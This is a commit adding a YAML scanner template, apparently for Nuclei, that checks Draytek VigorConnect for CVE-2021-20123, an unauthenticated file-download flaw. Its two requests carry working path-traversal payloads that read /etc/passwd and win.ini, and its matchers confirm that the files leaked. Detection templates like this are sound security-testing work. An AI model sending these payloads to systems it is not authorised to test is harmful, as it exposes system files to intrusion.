Create CVE-2021-20123.yaml

CVE-2021-20123.yaml

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+id: CVE-2021-20123
+
+info:
+  name: Draytek VigorConnect - Unauthenticated Local File Inclusion DownloadFileServlet
+  author: 0x_Akoko
+  severity: high
+  description: A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
+  reference:
+    - https://www.tenable.com/security/research/tra-2021-42
+    - https://www.cvedetails.com/cve/CVE-2021-20123/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2021-20123
+    cwe-id: CWE-22
+  tags: cve,cve2021,draytek,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
+      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+          - "for 16-bit app support"
+        condition: or
+
+      - type: status
+        status:
+          - 200